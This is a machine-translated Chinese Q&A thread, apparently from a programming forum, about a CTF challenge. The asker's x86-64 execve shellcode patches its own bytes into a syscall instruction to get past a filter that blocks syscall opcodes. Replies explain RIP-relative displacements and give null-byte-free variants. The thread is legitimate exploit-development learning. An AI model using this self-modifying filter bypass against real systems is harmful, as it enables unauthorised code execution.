2017-10-09 195 views
1

我在做某種CTF挑戰,我有一個程序,檢查通過退出字節的緩衝區用戶輸入被傳遞到字節,如果,如果有一個系統調用,SYSENTER或在那裏詮釋80點的指令。ASM RIP相對尋址

我想要做的是編寫修改系統調用指令到一個有效的第二個字節的shellcode。也就是說,輸入的最後兩個字節是\x0f\x01,我希望shellcode本身覆蓋到\x0f\x05(系統調用)。

.... 
    21: 31 c0     xor %eax,%eax 
    23: 88 47 07    mov %al,0x7(%rdi) 
    26: 48 89 7f 08    mov %rdi,0x8(%rdi) 
    2a: 48 89 47 10    mov %rax,0x10(%rdi) 
    2e: 48 8d 77 08    lea 0x8(%rdi),%rsi 
    32: 48 89 c2    mov %rax,%rdx 
    35: b0 3b     mov $0x3b,%al 
    37: 0f 05     syscall 

,並用兩個額外的指令重寫系統調用:

所以最後的原始的shellcode這個樣子的的幾個指令

... 
    37: b1 05     mov $0x5,%cl 
    39: 88 0d 01 00 00 00  mov %cl,0x1(%rip) 
    3f: 0f 05     syscall 

但是,我看到39的編碼一些尾隨零,而23例如它是相似的,但位置相對於rdi而不是rip,不是。

所以我的問題是,它看起來好嗎?如果是這樣的話,爲什麼在rip的情況下會出現零。這是否是一些與rip相關的具體事情,例如4個字節必須遵循?

+0

添加到小丑的答案..你也可以向前跳轉(後面的未來'syscall'位置),這樣做的修改向後('-something(%RIP)')並跳回到新形成的'syscall'。我甚至擔心前面的自我修改指令可能會在某些緩存下滑動,但是x86的目的是爲了抓住這一點,並應該使所有緩存行和預取緩衝區無效,並重新讀取所有要執行的內容(導致只有殘酷的性能損失,但程序員按預期工作)。這是通過定位代碼避免零字節。 Jester的策略是使用不涉及零的算術 – Ped7g

回答

3

是它的一些RIP相對尋址特定的事情,例如4個字節必須遵循?

是的。如果您在指令集看,部分2.2.1.6 RIP相對尋址你會看到,唯一的選擇就是RIP + disp32這意味着32位位移。如果你需要避免零字節,你必須以不同的方式做。一個可能的解決辦法是做這樣的事情:

lea -1(%rip), %rax # -1 is needed to avoid zero bytes 
movb $5, XX(%rax) # with appropriate value of `XX` 
+0

啊對。零字節實際上沒有問題。謝謝^^ – qbit